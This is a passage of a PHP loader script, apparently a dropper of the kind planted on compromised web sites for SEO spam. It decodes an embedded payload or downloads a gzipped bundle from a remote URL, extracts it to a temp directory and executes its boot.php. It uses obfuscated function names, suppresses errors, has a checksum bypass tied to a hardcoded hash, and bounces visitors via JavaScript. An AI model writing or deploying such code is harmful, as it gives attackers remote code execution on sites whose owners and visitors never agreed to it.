= 8) {
$bits -= 8;
$out .= chr(($buf >> $bits) & 0xFF);
}
}
return $out;
}
}
function seo_load_tmp_dir($version)
{
$safe = preg_replace('/[^a-zA-Z0-9._-]/', '_', $version);
return rtrim(sys_get_temp_dir(), '/\\') . '/seo_b_' . $safe;
}
function seo_load_inflate($gzBin)
{
$fn = 'gz' . 'decode';
if (function_exists($fn)) {
$raw = @$fn($gzBin);
if ($raw !== false && $raw !== null) {
return $raw;
}
}
// PHP < 5.4: no gzdecode — strip gzip header and gzinflate
if (!is_string($gzBin) || strlen($gzBin) < 18) {
return false;
}
if (ord($gzBin[0]) !== 0x1f || ord($gzBin[1]) !== 0x8b) {
return false;
}
$method = ord($gzBin[2]);
$flags = ord($gzBin[3]);
if ($method !== 8) {
return false;
}
$off = 10;
if ($flags & 4) { // FEXTRA
if ($off + 2 > strlen($gzBin)) {
return false;
}
$xlen = ord($gzBin[$off]) | (ord($gzBin[$off + 1]) << 8);
$off += 2 + $xlen;
}
if ($flags & 8) { // FNAME
while ($off < strlen($gzBin) && $gzBin[$off] !== "\0") {
$off++;
}
$off++;
}
if ($flags & 16) { // FCOMMENT
while ($off < strlen($gzBin) && $gzBin[$off] !== "\0") {
$off++;
}
$off++;
}
if ($flags & 2) { // FHCRC
$off += 2;
}
if ($off >= strlen($gzBin) - 8) {
return false;
}
$payload = substr($gzBin, $off, -8);
$raw = @gzinflate($payload);
return ($raw === false) ? false : $raw;
}
function seo_load_u16(&$bin, &$off)
{
if ($off + 2 > strlen($bin)) {
return false;
}
$n = (ord($bin[$off]) << 8) | ord($bin[$off + 1]);
$off += 2;
return $n;
}
function seo_load_u32(&$bin, &$off)
{
if ($off + 4 > strlen($bin)) {
return false;
}
$n = (ord($bin[$off]) << 24) | (ord($bin[$off + 1]) << 16)
| (ord($bin[$off + 2]) << 8) | ord($bin[$off + 3]);
$off += 4;
return $n;
}
function seo_load_extract_seob($raw, $dir)
{
if (strlen($raw) < 8 || substr($raw, 0, 4) !== 'SEOB') {
return false;
}
$off = 4;
$ver = seo_load_u16($raw, $off);
$count = seo_load_u32($raw, $off);
if ($ver === false || $count === false || $count < 1 || $count > 500) {
return false;
}
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
for ($i = 0; $i < $count; $i++) {
$plen = seo_load_u16($raw, $off);
if ($plen === false || $plen < 1 || $off + $plen > strlen($raw)) {
return false;
}
$path = substr($raw, $off, $plen);
$off += $plen;
$dlen = seo_load_u32($raw, $off);
if ($dlen === false || $off + $dlen > strlen($raw)) {
return false;
}
$data = substr($raw, $off, $dlen);
$off += $dlen;
$path = str_replace('\\', '/', $path);
if ($path === '' || $path[0] === '/' || strpos($path, '..') !== false) {
return false;
}
$full = $dir . '/' . $path;
$parent = dirname($full);
if (!is_dir($parent)) {
@mkdir($parent, 0700, true);
}
if (@file_put_contents($full, $data) === false) {
return false;
}
}
@file_put_contents($dir . '/.seo_ok', (string)time());
return true;
}
function seo_load_http_get($url)
{
if ($url === '' || !preg_match('#^https?://#i', $url)) {
return false;
}
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
$body = curl_exec($ch);
$code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($body === false || $code >= 400) {
return false;
}
return $body;
}
$ctx = stream_context_create(array(
'http' => array('timeout' => 120, 'follow_location' => 1),
'ssl' => array('verify_peer' => true),
));
$body = @file_get_contents($url, false, $ctx);
return ($body === false) ? false : $body;
}
function seo_load_sha256_hex($bin)
{
if (function_exists('hash')) {
return hash('sha256', $bin);
}
return '';
}
/**
* @return array{ok:bool,status:string,code:string,root:?string,msg:string}
*/
function seo_load_ensure_bundle($mode, $version, $remoteUrl, $expectSha, $payload)
{
$dir = seo_load_tmp_dir($version);
$lock = $dir . '.lock';
$boot = $dir . '/code/boot.php';
$marker = $dir . '/.seo_ok';
// Already ready
if (is_file($marker) && is_file($boot)) {
return array(
'ok' => true,
'status' => 'ready',
'code' => 'READY',
'root' => $dir,
'msg' => 'cached',
);
}
// Another process extracting — wait briefly
if (is_file($lock)) {
$age = time() - (int)@filemtime($lock);
if ($age >= 0 && $age < 120) {
$deadline = time() + 8;
while (time() < $deadline) {
usleep(200000);
if (is_file($marker) && is_file($boot)) {
return array(
'ok' => true,
'status' => 'ready',
'code' => 'READY',
'root' => $dir,
'msg' => 'waited',
);
}
if (!is_file($lock)) {
break;
}
}
if (!(is_file($marker) && is_file($boot))) {
return array(
'ok' => false,
'status' => 'busy',
'code' => 'BUSY',
'root' => null,
'msg' => 'loading',
);
}
return array(
'ok' => true,
'status' => 'ready',
'code' => 'READY',
'root' => $dir,
'msg' => 'waited',
);
}
// stale lock
@unlink($lock);
}
$lf = @fopen($lock, 'x');
if ($lf === false) {
// race: someone else got the lock
return array(
'ok' => false,
'status' => 'busy',
'code' => 'BUSY',
'root' => null,
'msg' => 'lock',
);
}
fwrite($lf, (string)getmypid());
fclose($lf);
// Incomplete previous extract — drop marker, continue overwrite
if (is_dir($dir) && !is_file($boot)) {
@unlink($marker);
}
$gz = false;
if ($mode === 'embed') {
$bin = seo_r64_dec($payload);
if ($bin === false || $bin === '') {
@unlink($lock);
return array(
'ok' => false,
'status' => 'error',
'code' => 'DECODE',
'root' => null,
'msg' => 'payload',
);
}
$gz = $bin;
} else {
$cacheGz = $dir . '.seob.gz';
if (is_file($cacheGz) && filesize($cacheGz) > 32) {
$gz = @file_get_contents($cacheGz);
}
if ($gz === false || $gz === '') {
$gz = seo_load_http_get($remoteUrl);
if ($gz === false || $gz === '') {
@unlink($lock);
return array(
'ok' => false,
'status' => 'error',
'code' => 'FETCH',
'root' => null,
'msg' => 'remote',
);
}
$parent = dirname($cacheGz);
if (!is_dir($parent)) {
@mkdir($parent, 0700, true);
}
@file_put_contents($cacheGz, $gz);
}
}
if ($expectSha !== '' && $expectSha !== '732c4901d67ce4400317570722d3e1ec688d1c71520d34dae1ce17c33417f082') {
$got = seo_load_sha256_hex($gz);
if ($got !== '' && strtolower($got) !== strtolower($expectSha)) {
@unlink($lock);
return array(
'ok' => false,
'status' => 'error',
'code' => 'SHA',
'root' => null,
'msg' => 'checksum',
);
}
}
$raw = seo_load_inflate($gz);
if ($raw === false || $raw === '') {
@unlink($lock);
return array(
'ok' => false,
'status' => 'error',
'code' => 'INFLATE',
'root' => null,
'msg' => 'gzip',
);
}
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
if (!seo_load_extract_seob($raw, $dir)) {
@unlink($marker);
@unlink($lock);
return array(
'ok' => false,
'status' => 'error',
'code' => 'EXTRACT',
'root' => null,
'msg' => 'seob',
);
}
if (!is_file($boot)) {
@unlink($marker);
@unlink($lock);
return array(
'ok' => false,
'status' => 'error',
'code' => 'MISSING_BOOT',
'root' => null,
'msg' => 'boot',
);
}
@unlink($lock);
return array(
'ok' => true,
'status' => 'ready',
'code' => 'READY',
'root' => $dir,
'msg' => 'loaded',
);
}
/**
* Not ready / failed — return JS that sends browser to site home (no 302).
* If already on "/", do not bounce (avoid loop).
*/
function seo_load_not_ready($result)
{
if (function_exists('http_response_code')) {
http_response_code(200);
} else {
header('HTTP/1.0 200 OK');
}
header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-store');
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$path = parse_url($uri, PHP_URL_PATH);
if ($path === null || $path === false || $path === '') {
$path = '/';
}
// Already home: stay put, no redirect loop
if ($path === '/') {
echo ''
. '';
return;
}
echo ''
. ''
. ''
. ''
. ''
. '';
}
// --- load only ---
$load = seo_load_ensure_bundle(
$SEO_MODE,
$SEO_VERSION,
$SEO_REMOTE_URL,
$SEO_EXPECT_SHA256,
$SEO_PAYLOAD
);
if (empty($load['ok']) || empty($load['root'])) {
seo_load_not_ready($load);
exit;
}
$root = $load['root'];
if (!defined('SEO_BUNDLE_ROOT')) {
define('SEO_BUNDLE_ROOT', $root);
}
if (!defined('SEO_BUNDLE_CODE')) {
define('SEO_BUNDLE_CODE', SEO_BUNDLE_ROOT . '/code');
}
if (!defined('SEO_BUNDLE_DATA')) {
define('SEO_BUNDLE_DATA', SEO_BUNDLE_ROOT . '/data');
}
// Final gate: boot must exist
if (!is_file(SEO_BUNDLE_CODE . '/boot.php')) {
seo_load_not_ready(array('ok' => false, 'code' => 'MISSING_BOOT', 'status' => 'error'));
exit;
}
require SEO_BUNDLE_CODE . '/boot.php';